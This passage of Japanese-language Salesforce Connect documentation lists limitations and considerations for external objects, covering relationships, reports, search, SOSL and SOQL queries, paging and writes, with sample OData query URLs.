新しい外部オブジェクトが組織に作成されます。新しい外部オブジェクト
のオブジェクト名は、テーブル名と一致します。
たとえば、カスタムアダプタの DataSource.Connectionクラスのテーブ
ル名を変更したために、外部オブジェクトのオブジェクト名と一致しなく
なったとします。そのテーブルを同期すると、Salesforce に新しい外部オブ
ジェクトが作成されます。テーブルを同期する前に、
DataSource.Connectionクラスの新しいテーブル名と一致するように既
存の外部オブジェクトのオブジェクト名を変更することをお勧めします。
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すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect — カスタムアダプタの外部データソースの定義
Salesforce Connect のカスタムアダプタ

Salesforce Connect — すべてのアダプタのリレーションに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

参照、外部参照、間接参照のリレーションの一部の動作は特殊であり、制限が
あります。
• 外部オブジェクトでは、参照関係、外部参照関係、および間接参照関係のみ

を使用できます。その他のリレーション種別はサポートされていません。
• 外部システムの可用性によっては、ユーザが親レコード詳細ページを表示す

るときに、子外部オブジェクトの関連リストの読み込み速度が低下すること
があります。

• 外部オブジェクトが含まれるリレーションでは、ユーザが親レコードのレ
コード詳細ページから子レコードを作成できます。ただし、個々の新規子レ
コードのリレーション項目に、親レコードを識別するための値が自動的に入
力されることはありません。

• 同期によってSalesforce組織の外部オブジェクトにリレーション項目が作成さ
れることはありません。ただし、同期で作成されたカスタム項目のデータ型
を参照関係、外部参照関係、または間接参照関係に変更できます。既存のカ
スタム項目のデータ型を変更する方が、手動で外部オブジェクトにリレーション項目を作成するよりも簡
単で効率的です。
たとえば、外部システムに外部キーリレーションがあるとします。関連テーブルを同期すると、外部キー
を識別する外部列用のテキスト項目が組織に作成されます。組織内の外部キーリレーションを反映するに
は、そのテキスト項目のデータ型を外部参照関係に変更します。

• リレーション項目は、カスタム項目の一種です。そのため、外部オブジェクトのすべてのカスタム項目と
同様に、リレーション項目は、外部オブジェクトの同期時に上書きできます。使用する各 Salesforce Connect

アダプタの同期に関する考慮事項を参照してください。
• カスケード削除は、外部オブジェクトリレーションでは使用できません。
• Salesforce Classic のみ:

– 間接参照関係項目には、予想される親レコード名が表示されません。代わりに、各間接参照項目には、
親オブジェクトの対象項目の値が表示されます。関連レコードを見つけるために、対象項目の値が子オ
ブジェクトの間接参照関係項目の値と照合されます。間接参照項目が作成されるときに、External

ID および Unique 属性を持つ対象項目が選択されます。
– 外部参照関係項目には、予想される親レコード名が常に表示されるとは限りません。以前に組織で親レ

コードが取得されている場合、外部参照関係項目には予想される名前が表示されます。それ以外の場
合、外部参照項目には、親オブジェクト ID か、親オブジェクトの[外部 ID] 標準項目の値が表示され
ます。デフォルトでは、後者が表示されます。ただし、親オブジェクトのカスタム項目に [名前項目]
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属性がある場合、親オブジェクト ID が表示されます。外部参照項目に ID が表示されている場合、ペー
ジを再読み込みして ID を名前に置き換えます。

• ユーザが外部参照または間接参照関係項目を編集しようとする場合は、親レコードを選択するための参照
ダイアログを使用できません。
– 外部参照関係項目を編集するには、親レコードの [外部 ID] 標準項目の値を手動で入力します。
– 間接参照関係項目を編集するには、親レコードの対象項目の値を手動で入力します。対象項目は、間接

参照関係項目が作成されたときに選択された、External ID および Unique 属性を持つカスタム項目
です。関連レコードを判別するために、Salesforceによって対象項目の値が子オブジェクトの間接参照関
係項目の値と照合されます。

• 外部参照および間接参照のリレーションでは、親レコードが、子レコードのリレーション項目でクリック
可能なリンクとして表示されます。親レコードへのアクセス権がないユーザが子レコードを表示すると、
親レコードはリンクではなくプレーンテキストとしてリレーション項目に表示されます。

• ルックアップ検索条件は、外部参照関係項目では使用できません。
• 間接参照関係項目は、外部オブジェクトにのみ作成できます。
• 間接参照関係で親オブジェクトとして使用できるのは、External IDおよび Unique属性を含むカスタム

項目があるオブジェクトのみです。間接参照関係項目を作成するときに目的のオブジェクトが表示されな
い場合は、一意のカスタム外部 ID 項目をそのオブジェクトに追加します。

• 外部システムが、指定した [外部列の名前] 項目で大文字と小文字を区別する値を使用している場合、親オ
ブジェクトの項目でも大文字と小文字を区別することを確認します。親オブジェクトのカスタム項目を定
義する場合、[外部 ID]、[一意の]、および [「ABC」と「abc」を別の値として扱う (大文字と小文字を区別す
る)] を選択します。

関連トピック:

外部オブジェクトリレーション
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項
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Salesforce Connect — すべてのアダプタのレポートに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部オブジェクトを含むレポートには特殊な動作と制限が適用されます。
• ネットワーク遅延と外部システムの可用性によっては、外部オブジェクトを

含むレポートの実行に時間がかかることがあります。
• レポートを実行すると、組織によってレポートの外部オブジェクトごとに

コールアウト要求が実行されます。
• 結合形式のレポートを実行すると、組織によってブロックごとに個別のコー

ルアウト要求が実行されます。
• レポートコールアウトの URL が 2 KB にほぼ等しいか超えた場合、組織によっ

て要求が複数の HTTP コールに分割され、各 URL が 2 KB 未満になります。
• レポートに外部オブジェクトが含まれる場合、レポートにより主オブジェク

トのレコードが 2,000 個まで取得されます。この制限は、主オブジェクトが
標準オブジェクト、カスタムオブジェクト、または外部オブジェクトである
かに関係なく適用されます。
– レポートに子オブジェクトがない場合、合計行数は 2,000 以下です。
– レポートに子オブジェクトがある場合、取得される子レコードの数に応じて、合計行数は 2,000 より大

きくなるか小さくなる可能性があります。
• これは外部オブジェクトのすべてのコールアウトに当てはまるため、レポートコールアウトは使用中の

Salesforce Connect アダプタによって制限されます。

コールアウト制限がわかる場所説明Salesforce
Connect アダ
プタ

コールアウト制限はありません。ただし、
コールアウトするたびにプロバイダ組織の
API 使用制限にカウントされます。
Salesforce ヘルプ: Salesforce Connect — 組織間ア
ダプタの API 使用に関する考慮事項

Force.com REST API を使用して他の Salesforce 組
織に保存されているデータにアクセスしま
す。

組織間

Salesforce の制限クイックリファレンスガイド:

API 要求の制限

Salesforce ヘルプ: Salesforce Connect — OData 2.0

および 4.0 アダプタの一般的な制限
Open Data Protocol を使用して Salesforce 外に保
存されているデータにアクセスします。外
部データは、OData プロデューサ経由で公開
されている必要があります。

OData 2.0

OData 4.0

Apex 開発者ガイド: コールアウトの制限事項
Apex 開発者ガイド: 実行ガバナと制限

利用可能な他のアダプタがニーズに適さな
い場合は、Apex Connector Framework を使用し
て独自のカスタムアダプタを開発できます。
カスタムアダプタは、どこからでもデータ
を取得できます。たとえば、コールアウト

Apex で作成さ
れたカスタム
アダプタ
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コールアウト制限がわかる場所説明Salesforce
Connect アダ
プタ

を介してインターネットのどこからでも取
得できるデータや、プログラムで操作や生
成さえできるデータもあります。

• 大きな外部データセットの場合、レポートコールアウトは通常、外部データのサブセットにのみアクセス
します。
– 生成されるレポートの行がわずかであるかまったくない場合、より多くの関連する外部オブジェクト行

を取得するようにレポートをカスタマイズしてください。
– レポートに集計項目と数式が含まれる場合、それらの集計値はデータのサブセットのみを反映する可能

性があります。集計値の精度を改善するには、関連性の高いデータを取得するようにレポートをカスタ
マイズしてみてください。

• 外部オブジェクトの関連付けられている外部データソースでは、[高データボリューム] オプションを選択
解除する必要があります。この要件は、Salesforce Connect の組織間アダプタには適用されません。

• クロス条件では、外部参照関係をサポートしていません。外部参照関係は、子の標準、カスタム、または
外部オブジェクトを親の外部オブジェクトにリンクします。

• 以下のレポート機能は、外部オブジェクトでは使用できません。
– バケットとバケット項目
– 履歴トレンドレポート

関連トピック:

レポートのトラブルシューティング
外部オブジェクトリレーション
Salesforce Connect — すべてのアダプタの考慮事項
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Salesforce Connect — すべてのアダプタのレコードフィードに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部オブジェクトの Chatter フィードの一部の動作は特殊であり、制限がありま
す。
• 項目履歴管理は、外部オブジェクトでは使用できません。
• レコードフィードは、データ量の非常に多い外部データソースに対応付けら

れている Salesforce Connect 外部オブジェクトには使用できません。

関連トピック:

Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項

Salesforce Connect — すべてのアダプタの API クエリに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

外部データに対する queryAll() および queryMore() コールには特殊な動作
と制限が適用されます。
queryAll()

Salesforce では外部データへの変更を追跡しないため、queryAll() コールの
動作は、外部オブジェクトに対する query() と同じです。

queryMore()

外部データのSalesforce Connectクエリで、大量の結果セットがバッチやページ
に分割されて示されることはよくあります。外部オブジェクトをクエリする
とき、Salesforce Connectは Web サービスコールアウト経由で外部データにリア
ルタイムにアクセスします。queryMore() コールを実行するたびに、Web

サービスコールアウトが行われます。バッチの区切りとページサイズは、ア
ダプタと外部データソースの設定方法に応じて異なります。
次の設定をお勧めします。
• 可能ならば、外部オブジェクトのクエリを、デフォルトのバッチサイズである 500 行よりも少ない行を

返すように絞り込んでページングを避けます。バッチを取得するたびに queryMore()コールが必要に
なり、その結果、Web サービスコールアウトが行われます。

• 外部データが頻繁に変更される場合は、queryMore() コールの使用を避けてください。次の
queryMore() コールまでの間に外部データが変更された場合、予期しない QueryResult になること
があります。

SELECTステートメントの主オブジェクト (「主導」オブジェクト) が外部オブジェクトの場合、queryMore()

は主オブジェクトのみをサポートし、サブクエリをサポートしません。

Salesforce Connect — OData 2.0 および 4.0 アダプタの API クエリに関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData アダプタを介した外部データの API クエリに影響しま
す。
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Salesforce Connect — カスタムアダプタでの API クエリの考慮事項
一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタを介した外部データの API クエリに影響
します。

関連トピック:

Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項
Salesforce Connect

Salesforce Connect — すべてのアダプタの考慮事項

Salesforce Connect — OData 2.0 および 4.0 アダプタの API クエリに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connectの OData アダプタを介した外部デー
タの API クエリに影響します。
デフォルトでは、Salesforce Connectの OData 2.0 および 4.0 アダプタは、クライアン
ト駆動のページングを使用します。クライアント駆動ページングにより、OData

アダプタは各 queryMore() コールを、$skip および $top システムクエリオ
プションを使用してバッチの区切りとページサイズを指定する OData クエリに変
換します。これらのオプションは、LIMITおよび OFFSET句を使用した結果セッ
トのページ処理に似ています。
外部データソースのサーバ駆動ページングを有効にすると、要求されたページ
サイズ (デフォルトの queryMore() バッチサイズの 500行を含む) が Salesforceで
無視されます。バッチは、外部システムによって返されるページで決まります。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの API クエリに関する考慮事項
OData クエリ文字列オプション
Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
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Salesforce Connect — カスタムアダプタでの API クエリの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタを介した外部
データの API クエリに影響します。
Apex Connector Framework で作成した Salesforce Connect のカスタムアダプタでは、
queryMore()やどの種類のページングも自動的にサポートされることはありま
せん。結果セットのページの移動に LIMIT および OFFSET 句を使用して、
queryMore() およびクライアント駆動ページングを実装できます。
外部データソースのサーバ駆動ページングを有効にすると、要求されたページ
サイズ (デフォルトの queryMore() バッチサイズの 500行を含む) が Salesforceで
無視されます。バッチは、外部システムによって返されるページで決まります。
カスタムアダプタのサーバ駆動のページングを有効にするには、
DataSource.Provider クラスが getCapabilities メソッドの
QUERY_PAGINATION_SERVER_DRIVEN機能を宣言する必要があります。また、
Apexコードで、結果の次のバッチを判断して取得するために使用するクエリトー
クンを生成する必要があります。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの API クエリに関する考慮事項
Salesforce Connect のカスタムアダプタ
Apex 開発者ガイド

Salesforce Connect — すべてのアダプタの検索に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作および制限は、外部オブジェクトの検索に影響します。
• SOSLおよびSalesforce検索に外部オブジェクトを含めるには、外部オブジェク

トと外部データソースの両方で検索を有効にします。ただし、同期すると外
部オブジェクトの検索状況が常に上書きされて、外部データソースの検索状
況と一致します。

• (Salesforce Classic のみ) 外部オブジェクトの検索結果には上位 25 行のみが表示
されます。

• 検索できるのは、外部オブジェクトのテキスト、テキストエリア、およびロ
ングテキストエリア項目のみです。外部オブジェクトに検索可能項目がない
場合、そのオブジェクトに対する検索ではレコードは返されません。

• 検索クエリ文字列を意図したとおりに解釈するように外部システムを設定す
ることをお勧めします。たとえば、検索文字列で大文字と小文字を区別しな
いように設定する場合などがあります。

使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。

Salesforce Connect — OData 2.0 アダプタの検索に関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData 2.0 アダプタを介した外部データの検索に影響します。
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Salesforce Connect — OData 4.0 アダプタの検索に関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData 4.0 アダプタを介した外部データの検索に影響します。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect

Salesforce Connect — OData 2.0 アダプタの検索に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData 2.0 アダプタを介した外部
データの検索に影響します。
外部システムには、検索クエリ文字列全体が、ハイフン (-) を除く ASCII の句読文
字をすべて削除した後に大文字と小文字が区別される 1 つの句として送信され
ます。たとえば、ユーザが Sales & Marketing を検索した場合、外部システ
ムは大文字と小文字を区別する検索クエリ文字列として「Sales Marketing」を受信
します。
また、デフォルトでは、検索クエリ文字列は $filterシステムクエリオプショ
ンの substringof 値として使用されます。次の例では、検索クエリ文字列は
Acme です。

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&
$filter=substringof('Acme',CompanyName)+eq+true+
or+substringof('Acme',Phone)+eq+true&$top=26

OData プロデューサのフリーテキスト検索カスタムクエリオプションを実装することをお勧めします。外部デー
タソースの [Salesforce 検索のカスタムクエリオプション] 項目でそのクエリ文字列パラメータの名前を指
定します。次の例では、カスタムクエリパラメータの名前は doSearchで、検索クエリ文字列は Acmeです。
http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

OData URI 規則についての詳細は、www.odata.orgを参照してください。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの検索に関する考慮事項
OData クエリ文字列オプション
Salesforce Connect の OData 2.0 または 4.0 アダプタ
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Salesforce Connect — OData 4.0 アダプタの検索に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData 4.0 アダプタを介した外部
データの検索に影響します。
外部システムには、検索クエリ文字列全体が、ハイフン (-) を除く ASCII の句読文
字をすべて削除した後に大文字と小文字が区別される 1 つの句として送信され
ます。たとえば、ユーザが Sales & Marketing を検索した場合、外部システ
ムは大文字と小文字を区別する検索クエリ文字列として「Sales Marketing」を受信
します。
また、デフォルトでは、検索クエリ文字列は $filterシステムクエリオプショ
ンの contains値として使用されます。次の例では、検索クエリ文字列は Acme

です。

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$filter=contains(CompanyName,'Acme') eq true
or contains(Phone,'Acme') eq true$top=26&

$searchシステムクエリオプションでフリーテキスト検索式をサポートするように OData プロデューサを設定
することをお勧めします。次に、外部データソースの [自由テキスト検索式を使用] を選択します。次の例で
は、検索クエリ文字列は Acme です。
http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$search=Acme&$top=26

OData URI 規則についての詳細は、www.odata.orgを参照してください。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの検索に関する考慮事項
OData クエリ文字列オプション
Salesforce Connect の OData 2.0 または 4.0 アダプタ
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Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作および制限は、外部データへの SOSL アクセスに影響します。
• SOSLおよびSalesforce検索に外部オブジェクトを含めるには、外部オブジェク

トと外部データソースの両方で検索を有効にします。ただし、同期すると外
部オブジェクトの検索状況が常に上書きされて、外部データソースの検索状
況と一致します。

• 検索できるのは、外部オブジェクトのテキスト、テキストエリア、およびロ
ングテキストエリア項目のみです。外部オブジェクトに検索可能項目がない
場合、そのオブジェクトに対する検索ではレコードは返されません。

• 外部オブジェクトでは、以下をサポートしていません。
– INCLUDES 演算子
– LIKE 演算子
– EXCLUDES 演算子
– toLabel() 関数

• 外部オブジェクトは、次のような Salesforce ナレッジ固有の句もサポートしていません。
– UPDATE TRACKING 句
– UPDATE VIEWSTAT 句
– WITH DATA CATEGORY 句

• 検索結果に返すには、外部オブジェクトを RETURNING 句で明示的に指定する必要があります。次に例を
示します。
FIND {MyProspect} RETURNING MyExternalObject, MyOtherExternalObject

使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。

Salesforce Connect — OData 2.0 アダプタの SOSL に関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData 2.0 アダプタを介した外部データへの SOSLアクセスに
影響します。
Salesforce Connect — OData 4.0 アダプタの SOSL に関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData 4.0 アダプタを介した外部データへの SOSLアクセスに
影響します。
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Salesforce Connect — カスタムアダプタでの SOSL の考慮事項
一部の特殊な動作と制限は、Salesforce Connectのカスタムアダプタを介した外部データの SOSLアクセスに影
響します。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項
Force.com SOQL および SOSL リファレンス
Salesforce Connect — すべてのアダプタの同期に関する考慮事項
Salesforce Connect

Salesforce Connect — OData 2.0 アダプタの SOSL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData 2.0 アダプタを介した外部
データへの SOSL アクセスに影響します。
Salesforce Connectの OData アダプタでは、FIND 句で論理演算子をサポートしてい
ません。外部システムには、検索クエリ文字列全体が、ハイフン (-) を除く ASCII

の句読文字をすべて削除した後に大文字と小文字が区別される 1 つの句として
送信されます。たとえば、FIND {MyProspect OR “John Smith”} の場合、
「MyProspect OR John Smith」と完全一致する語句が検索されます。
また、デフォルトでは、検索クエリ文字列は $filterシステムクエリオプショ
ンの substringof 値として使用されます。次の例では、検索クエリ文字列は
Acme です。

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&
$filter=substringof('Acme',CompanyName)+eq+true+
or+substringof('Acme',Phone)+eq+true&$top=26

OData プロデューサのフリーテキスト検索カスタムクエリオプションを実装することをお勧めします。外部デー
タソースの [Salesforce 検索のカスタムクエリオプション] 項目でそのクエリ文字列パラメータの名前を指
定します。次の例では、カスタムクエリパラメータの名前は doSearchで、検索クエリ文字列は Acmeです。
http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

OData URI 規則についての詳細は、www.odata.orgを参照してください。
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すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項
Force.com SOQL および SOSL リファレンス
OData クエリ文字列オプション
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義

Salesforce Connect — OData 4.0 アダプタの SOSL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData 4.0 アダプタを介した外部
データへの SOSL アクセスに影響します。
Salesforce Connectの OData アダプタでは、FIND 句で論理演算子をサポートしてい
ません。外部システムには、検索クエリ文字列全体が、ハイフン (-) を除く ASCII

の句読文字をすべて削除した後に大文字と小文字が区別される 1 つの句として
送信されます。たとえば、FIND {MyProspect OR “John Smith”} の場合、
「MyProspect OR John Smith」と完全一致する語句が検索されます。
また、デフォルトでは、検索クエリ文字列は $filterシステムクエリオプショ
ンの contains値として使用されます。次の例では、検索クエリ文字列は Acme

です。

http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$filter=contains(CompanyName,'Acme') eq true
or contains(Phone,'Acme') eq true$top=26&

$searchシステムクエリオプションでフリーテキスト検索式をサポートするように OData プロデューサを設定
することをお勧めします。次に、外部データソースの [自由テキスト検索式を使用] を選択します。次の例で
は、検索クエリ文字列は Acme です。
http://services.example.org/v4.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&
$search=Acme&$top=26

OData URI 規則についての詳細は、www.odata.orgを参照してください。
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すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect の OData 2.0 または 4.0 アダプタ
Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項
Force.com SOQL および SOSL リファレンス
OData クエリ文字列オプション
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義

Salesforce Connect — カスタムアダプタでの SOSL の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタを介した外部
データの SOSL アクセスに影響します。
• 外部オブジェクトのSOSLクエリでは、convertCurrency()関数はサポート

されていません。
• 外部オブジェクトの SOSL クエリでは、WITH 句はサポートされていません。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項
Force.com SOQL および SOSL リファレンス
Salesforce Connect のカスタムアダプタ

Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作および制限は、外部データへの SOQL アクセスに影響します。
• 外部オブジェクトが含まれるサブクエリが取得できるデータは、最大 1,000

行です。
• 各 SOQL クエリ内の結合は、外部オブジェクトとその他の種別のオブジェク

ト全体で最大 4 個です。
クエリの実行時、結合ごとに外部システムへの往復処理が必要です。クエリ
内の各結合に対して長めの応答時間を想定してください。

• 外部オブジェクトでは、次の集計関数と句をサポートしていません。
– AVG() 関数
– COUNT(fieldName) 関数 (ただし、COUNT() はサポートされている)

– HAVING 句
– GROUP BY 句
– MAX() 関数
– MIN() 関数
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– SUM() 関数
• 外部オブジェクトでは、以下もサポートしていません。

– EXCLUDES 演算子
– FOR VIEW 句
– FOR REFERENCE 句
– INCLUDES 演算子
– LIKE 演算子
– toLabel() 関数
– TYPEOF 句
– WITH 句

使用する各 Salesforce Connect アダプタに関する考慮事項も参照してください。

Salesforce Connect — 組織間アダプタの SOQL に関する考慮事項
特定の動作と制限が、Salesforce Connectの組織間アダプタを介した、その他の組織のデータへのSOQLアクセ
スに影響します。
Salesforce Connect — OData 2.0 アダプタの SOQL に関する考慮事項
一部の特殊な動作と制限は、Salesforce Connectの OData 2.0 アダプタを介した外部データへの SOQLアクセスに
影響します。
Salesforce Connect — カスタムアダプタでの SOQL の考慮事項
一部の特殊な動作と制限は、Salesforce Connectのカスタムアダプタを介した外部データのSOQLアクセスに影
響します。

関連トピック:

Salesforce Connect — すべてのアダプタの SOSL に関する考慮事項

Salesforce Connect — 組織間アダプタの SOQL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

特定の動作と制限が、Salesforce Connect の組織間アダプタを介した、その他の組
織のデータへの SOQL アクセスに影響します。
convertCurrency() 関数は、外部オブジェクトの SOQL クエリで無視されま
す。
すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項
Salesforce Connect — 組織間アダプタの外部データソースの定義
Salesforce Connect の組織間アダプタ
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Salesforce Connect — OData 2.0 アダプタの SOQL に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect の OData 2.0 アダプタを介した外部
データへの SOQL アクセスに影響します。
• 外部オブジェクトの場合、ORDER BY 句に次の制限があります。

– NULLS FIRST と NULLS LAST は無視されます。
– 外部オブジェクトは、リレーションクエリの ORDER BY 句をサポートし

ません。
• COUNT() 集計関数は、外部データソースで [要求の行数] が有効になってい

る外部オブジェクトでのみサポートされます。特に、外部システムからの応
答には、結果セットの行の合計数を含める必要があります。

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項
Salesforce Connect — OData 2.0 または 4.0 アダプタの外部データソースの定義
Salesforce Connect の OData 2.0 または 4.0 アダプタ

Salesforce Connect — カスタムアダプタでの SOQL の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部の特殊な動作と制限は、Salesforce Connect のカスタムアダプタを介した外部
データの SOQL アクセスに影響します。
• 外部オブジェクトのロケーションベースの SOQL クエリはサポートされてい

ません。
• 外部オブジェクトの SOQL クエリに次の要素が含まれている場合、クエリに

失敗します。
– convertCurrency() 関数
– UPDATE TRACKING 句
– UPDATE VIEWSTAT 句
– USING SCOPE 句

• ORDER BY 句の次の構文は無視されます。
– NULLS FIRST 構文
– NULLS LAST 構文

すべての Salesforce Connect アダプタに適用される考慮事項も確認してください。

関連トピック:

Salesforce Connect — すべてのアダプタの SOQL に関する考慮事項
Salesforce Connect のカスタムアダプタ
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Salesforce Connect — すべてのアダプタの書き込み可能な外部オブジェクトに関する考慮事
項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect を使用して Salesforce 組織外に保存されるデータを作成、更新、
および削除する場合の制限と考慮事項について理解します。
• 書き込みの競合は外部システムで処理されるため、Salesforce 内から開始され

たすべての書き込み操作が適用される保証はありません。
• 書き込み操作を開始するコンテキストが異なると、実行順序も変わる可能性

があります。
• API は、同じトランザクション内で外部オブジェクトと標準またはカスタム

オブジェクトに変更を保存できません。
• 外部システムがSalesforceから書き込み操作を実行する方法に応じて、外部オ

ブジェクトレコードへの変更が反映されるまでに時間がかかる場合がありま
す。外部オブジェクトレコードの表示またはクエリ時に最近の変更が表示さ
れない場合は、後でもう一度試してください。

• ユーザまたはForce.comプラットフォームが外部オブジェクトレコードのカス
タム項目を編集すると、項目値から先頭と末尾の空白が削除されます。

• ユーザが外部参照または間接参照関係項目を編集しようとする場合は、親レコードを選択するための参照
ダイアログを使用できません。
– 外部参照関係項目を編集するには、親レコードの [外部 ID] 標準項目の値を手動で入力します。
– 間接参照関係項目を編集するには、親レコードの対象項目の値を手動で入力します。対象項目は、間接

参照関係項目が作成されたときに選択された、External ID および Unique 属性を持つカスタム項目
です。関連レコードを判別するために、Salesforceによって対象項目の値が子オブジェクトの間接参照関
係項目の値と照合されます。

• ユーザがユーザインターフェースを介して外部オブジェクトレコードを作成、更新、または削除する場合、
操作は同期的に実行されます。

• 開発者がApexを使用して外部オブジェクトレコードを操作する場合、非同期のタイミングと有効なバック
グラウンドキューにより、保存時の競合の可能性が最小限に抑えられます。一連の特殊なApexメソッドと
キーワードにより、書き込み実行で生じる可能性があるタイミングの問題が処理されます。Apex では、削
